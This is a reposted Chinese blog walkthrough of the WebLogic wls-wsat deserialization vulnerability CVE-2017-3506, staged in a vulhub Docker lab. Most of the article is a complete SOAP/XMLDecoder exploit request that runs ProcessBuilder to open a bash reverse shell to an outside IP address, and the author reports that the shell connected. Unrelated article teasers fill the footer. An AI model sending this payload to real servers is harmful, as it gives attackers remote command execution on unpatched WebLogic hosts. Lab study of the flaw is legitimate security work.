自学内容网 自学内容网
自学内容网 > 正文

webLogic反序列化漏洞CVE-2017-3506

🕗 发布于 2024-09-23 20:58 tomcat  java  

1.环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

2.判断wls-wsat组件是否存在

拼接/wls-wsat/CoordinatorPortType

查看页面是否有回显  有回显说明存在组件

3.在当前页面抓包 反弹shell

添加请求包内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">

<object class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">

<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/47.121.211.205/6666 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功反弹shell


原文地址：https://blog.csdn.net/2401_82451607/article/details/142436096

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

相关文章

  • 怎么理解toISOString()

    对象的一个方法，它用于返回一个表示该日期对象的 ISO 8601 扩展格式的字符串。ISO 8601 是一种国际标准，用于表示日期和时间，旨在提供一种全球通用的日期和时间表示方法。但是，请注意，上面的

    阅读更多2024-09-23
  • ShellCode异或编码器实现

    编码器是将原始的 shellcode 转换为一种在目标环境中可以安全传输或存储的格式。通过将原始 shellcode 的每个字节进行某种操作（如 XOR、加法、字节替换等），以避免生成无效字符或被检测

    阅读更多2024-09-23
  • 科隆新材同一时期转贷近4000万，实控人违规资金占用被警示

    另外，报告期内，科隆新材的研发费用分别为1447.51万元、1837.33万元、2180.12万元和1419.99万元，占当期研发费用的4.63%、5.58%、4.94%和6.86%。报告期内，科隆新

    阅读更多2024-09-23
  • UML类图绘制

    在学习面向对象语言时，我们可以使用UML类图来描述将要编写的程序中类与类之间的关系。绘制类图可以让程序员更清晰的感知类与类之间的关系，进而编写出更符合需求的代码。（博主使用的是“亿图图示”中的绘制工具

    阅读更多2024-09-23
  • wrk(1) command

    wrk 是由 Will Glozer 开发的，并首次发布于 2012 年。wrk 是一个现代的 HTTP 压力测试工具，利用现代多线程技术和高效的网络 I/O 处理，能够生成大量的并发请求，用以测试

    阅读更多2024-09-23
  • 基于SpringBoot的社团管理系统【附源码】

    本社团管理系统有管理员，用户，社长。管理员功能有个人中心，用户管理，社长管理，社团信息管理，加入社团管理，社团活动管理，活动报名管理，经费信息管理，新闻信息管理，系统管理等。社长创建社团，管理员审核

    阅读更多2024-09-23
  • 【docker】在IDEA工具内，远程操作服务器上的docker

    【代码】【docker】在IDEA工具内，远程操作服务器上的docker。

    阅读更多2024-09-23
  • 三线城市的女玩家们不想“谈恋爱”，小游戏掘金新蓝海

    随着剧情的推进和旅馆翻新的进行，玩家将不断解锁新的生成器和功能，持续激发游戏兴趣，形成强烈的沉浸感。以换装游戏为例，多数女性玩家会在游戏中将控制的角色视为抚养的对象，投入深厚的情感。除了之前提及的《浪

    阅读更多2024-09-23
  • 【LeetCode】动态规划—使用最小花费爬楼梯（附完整Python/C++代码）

    在这个问题中，我们有一个数组costcost[]cost，其中costicost[i]costi表示从第iii个台阶爬到下一个台阶的费用。你可以从第0个台阶或第1个台阶开始，然后每次可以选择爬111个

    阅读更多2024-09-23
  • 【中国留学网-注册_登录安全分析报告】

    教育部（中国）留学服务中心（以下简称“中心”）成立于1989年3月31日，是教育部直属事业单位，以事业单位法人注册，主要从事出国留学、留学回国、来华留学以及教育国际交流与合作等领域的相关服务。作为教育

    阅读更多2024-09-23
自学内容网
Copyright © 2015-2024